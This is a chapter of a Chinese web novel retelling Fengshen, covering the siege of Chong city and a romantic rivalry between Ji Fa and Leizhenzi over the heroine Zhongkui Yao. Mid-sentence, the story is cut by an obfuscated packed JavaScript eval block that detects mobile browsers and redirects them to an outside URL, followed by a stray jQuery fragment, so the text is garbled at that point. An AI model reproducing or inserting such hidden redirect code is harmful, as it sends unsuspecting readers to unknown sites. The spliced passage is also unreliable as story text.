19.一周目

作品:《[封神]不好,是修罗场!

    第二日一早,终葵瑶便跑到姬发的帐篷前等待,看到姜子牙从里面出来的第一时间便迎了上去:“老师?姬发怎么样了?”


    姜子牙掀起帐篷的手慢慢放下,微笑道:“已无大碍,你晚些可进去……”


    他后面似乎说了什么,终葵瑶没仔细听,只觉得自己的心终于放进了肚子里。她草草地给老师行了个礼,一头扎进了帐篷里。


    “姬发!你……已经醒了?”榻上的姬发半躺着,此时正端着一碗药,惊喜地看着她:“阿瑶,我没事了,你不用太担心我。”


    他这么一说,终葵瑶才意识到自己似乎有些鲁莽了。应该是刚起床,姬发此时长发披散,衣服也松松垮垮地半披着,露出了里面精壮的胸膛。


    “呃,也没有很关心你啦!主要是主帅受伤,军队里人心惶惶的。”她也不知自己忽然害羞个什么劲儿,竟然不敢和姬发对视,于是看着他散落在肩头的发丝别扭开口:“你既然没事了,就早点出来安慰军心!我先走了!”


    “欸!阿瑶!”姬发似乎在后面喊了什么,但终葵瑶却无心再听,匆匆地进去,又匆匆地出来。


    姜子牙还站在原地,一脸无奈:“瑶瑶,关心则乱呐。”


    今天的太阳似乎有些太大了,终葵瑶觉得自己像是被一团火包围,浑身上下都蒸发着热气。她甚至怀疑,自己从远处看都快冒烟儿了。


    “老师,您也不早点说!”羞愤中,终葵瑶跺跺脚,将锅甩给了好脾气的姜子牙。


    余光中,姜子牙似乎摇了摇头,语气平稳,但尾音却因为没隐藏好笑意而有些颤抖:“我还没来得及说,你便着急进去了,也不能怪我啊。”


    终葵瑶自己心里有鬼,也不敢再多加争执,慌乱地行礼后,一路低着头,走回了自己的帐篷。


    *


    经过作战会议,大家一致决定在夕阳落山后攻城,眼瞅着太阳彻底落在了远处的群山后面,姬发朝着雷震子点点头,“雷震子,靠你了。”


    被兄长这么郑重地嘱咐,雷震子明显有些激动。他两只大脚无意识地在地上跺了几下,在轻微的地动山摇中振翅而起,一跃就飞到了距地二三十米的高空。在空中表演了个完美的360度转圈后,雷震子展翅飞向了崇城的城墙。


    终葵瑶和姬发上马,带着其余大部队一同赶去。


    乌黑的天空忽然闪过一道亮光,抬头望去,只见身型庞大的雷震子手握一根金棍,朝着崇城城墙射出几道极具压迫力的电击。突然泛起的白昼让终葵瑶不自觉遮了下眼睛,随着一声巨大的爆破声,她耳边响起姬发坚定的一声大吼:“攻城——!”


    一排排箭矢带着跳动的火苗接二连三地飞向同一个地方,与此同时,一辆几乎有两人高的战车带着一根粗壮的青铜锥缓慢驶向城门。战车在这个时代非常珍贵,目前只有王都和一两个诸侯国有。这次攻城,西岐还没有来得及做出来,为了保证战争的顺利,其中一个诸侯国才完不得己拿出来一辆较小的战车。


    地动山摇间,崇城的城门已经几乎失守,从里面涌出了崇侯虎的大部队。


    一场硬战正式拉开。


    就在终葵瑶的箭筒快要空空荡荡的前一刻,她听见南宫适的大吼:“城门已破,兄弟们冲!活抓崇侯虎!”


    然后便是西岐军浩浩荡荡地往城内冲,终葵瑶一眼就看见,最前面的那个,是他们的主将——姬发。


    这小子还真是贯彻了以身作则这一原则啊。


    终葵瑶叹口气,没有跟上去,在原地继续清剿剩下的小兵。


    天大亮时,城外扑鼻的血腥味终于清晰地暴露在大家眼前,血流成河也不过如此了。地上躺着的不仅有崇城的卫兵,也不少西岐的军人。但幸好,外面最终站着的活人,只有西岐人。幸好,没过多久,地上的尸体便消失,取而代之的是一股金光进入她的身体。


    她又升级了。


    顾不上去看自己的等级,终葵瑶在地上扒拉了几下,一边忍着恶心,一边从血液里找出自己的弓箭,重新插回箭筒里。


    没办法,谁让她一共就这么几根箭呢。


    等回家,一定要让她父亲多给她准备一些!


    太阳升起时,城墙上写着“崇”字的旗帜已全部被换下,取而代之的,是“姬”字。


    啊,赢了啊。


    进入城内,她一眼就看见姬发正拎着一个模糊的物件骑着马走来走去。


    “城内的将士们听着,我乃西伯侯姬昌之子姬发!崇侯虎已被我斩杀,这便是他的头颅!”他举起手中的物件晃了晃,“我们的目标只有崇侯虎,其余的人如果要降,我们西岐一定放大家一条生路!但若还要继续战下去,我们也一定奉陪到底!”


    骑在马上的姬发一脸坚毅,不知怎么的,终葵瑶忽然想起了《狮子王》里脸上还带着血的小狮子。


    这可能就是少年王者初长成吧。


    陆陆续续的,剩下的崇侯虎部下选择了不抵抗。姬发指挥着手下,将这些投降的将士们先关押起来,以后再议。


    就在他准备策马收兵时,一个老太太忽然从一堆草垛中摔倒在地,暴露在大家眼前。似乎是因为藏得太久,老妇人没站稳,所以脱力摔倒了。


    见此状,姬发翻身下马,快步向前。老妇人见他的动作,身体大幅度颤抖起来。待姬发走到她跟前时,老妇人已经紧闭双眼,抖得像个筛子了。


    也难怪,一个刚刚还举着他们城主头颅的男人此时朝自己走来,任谁都会被吓到。


    周边忽然有窸窸窣窣的动静,终葵瑶看过去,只见有几个男人正拿着农具,紧张地盯着姬发。似乎只要姬发有任何动作,他们就会冲出来守卫家园。


    在大家的注视下,姬发缓缓蹲下,伸出手扶起了老妇人。老人惊讶地睁开眼睛,只见眼前的小将军甚至还帮她拍了拍身上的土。


    “大娘您放心,我们西岐不会屠城,我们之所以战,就是为了守护你们的生活。”


    站起来环视四周,姬发望着瑟瑟发抖的人们,再次朗声开口道:“各位百姓们不用担心,我在此发誓,我的部下绝不会□□烧,欺凌弱小。我已下了军令,若有人违规,我定斩立决。大家放心,今天过后,你们依旧会有和往常一样的正常生活。”


    百姓并没有立刻相信他,姬发也不在意,只是朝着四周抱拳,随后将在一旁看戏的终葵瑶一把拉上马,离开了崇城。


    回到军营,姬发刚下马想对她说些什么,就被终葵瑶一把推开,嫌弃道:“你先去洗一下吧,身上这个味都能熏死我。”


    不敢置信的姬发抬起胳膊嗅了嗅,随后像是被人揍了一拳一般猛地往后仰,“哎呦我的天,阿瑶你等等我!”说完便一溜烟儿地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210275|181061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    消失在她眼前。


    看不到他的身影后,终葵瑶左右看看,确定周围没有人后,小心翼翼地揪住自己胸前的衣服闻了闻,一股酸中带着腥气的味道直冲脑海。她干呕了几声,也迅速返回自己的帐篷,打水冲洗起来。


    直到闻到身上香喷喷的以后,终葵瑶才站起身掀开门帘。要往外迈的脚一顿,她瞪大眼睛不可思议地看着眼前的人。


    姬发也不知道从什么时候等在这儿,安安静静的没发出一点声音。看到她,眼睛明显亮了一下,“阿瑶,我洗干净了!”


    “这、这种事不用给我汇报啦!”终葵瑶低下头,不想直视那双灿若星辰的眸子。


    对方明显没有在意她的态度,自然地拉起她的手,往姬昌那里走去,“和我一起去见父亲吧。”


    “我去干嘛?你自己去不就行了?”她总觉得打完胜仗再跟着姬发去见姬昌,总有种论功行赏的感觉。


    但姬发像是没听见她的话一般,紧紧攥着她的手埋头往前走。


    终葵瑶心知这会儿拒绝不了,只好半推半就地跟着他一起走。


    耳边的发丝被一阵风吹起,然后毫不意外地听见熟悉的声音在身后响起:“姬发,我也一起去!”


    还没等雷震子跟上他们并肩而行,姬发便猛地停住脚步,回过头气急败坏道:“你等等再去!”


    嗯?这态度……?


    还没等终葵瑶仔细分析,另一只手就被雷震子抓起来。这小孩眼底一片坦诚,“怎么了嘛,我也一起嘛!”


    “你放开阿瑶!”姬发伸出空闲的那只手,指着雷震子的鼻子跳起来抱怨。


    雷震子的视线移到姬发的另一只手,不理解地歪歪头,“姬发你不是也抓着姐姐的手吗?我为什么就不能抓?”


    被他这么一戳穿,终葵瑶久违地有些脸红。


    她是不是和姬发有些过于亲近了?朋友之间,要做到这种程度吗?


    “不是这个问题!”姬发头顶都快冒火了,他嗓门越来越大。在空中晃悠的那只手数倏地被抓住,抓他的主人恍然大悟:“啊,我知道了!那我也抓着姬发你一起走好了,这样你满意了吗?”


    随后他一扯,姬发和终葵瑶相连的手便非自愿地分开。雷震子一手一个,对自己的机智满意地点头,“这样子的话,姬发你就不会生气了吧?”


    “……”被自己弟弟莫名其妙牵着手的姬发失去了声音,呆愣愣地站在原地,不可思议地盯着他和雷震子紧紧牵着的那两只手。


    事情怎么会发展成这样了呢?


    “哈哈哈哈哈哈!!!”终葵瑶终于没忍住,放声大笑起来。雷震子看看她,也开心地呲着牙笑起来。唯有站在最右边的姬发,苦着一张脸,垂头丧气的。


    三人就这么手牵着手来到姬昌的帐篷,还没走进去,便闻到一股浓烈的药味。终葵瑶蹙眉,心道不妙。前一段时间姬昌的面色就看起来不太好,本来这次他是打算当主帅亲征的,后来也不知怎么地,将兵符交给了年仅十五岁的姬发。


    幸好他做得还不错。


    掀开帘子后,苦涩的药味更是往鼻子里钻,榻上的姬昌平躺,胸前的起伏并不明显。终葵瑶转头,看见姬发的脸霎那间苍白无比。


    快走几步,姬发单膝跪在塌前,断断续续挤出一句不成调的问候:“父亲,您还好吗?”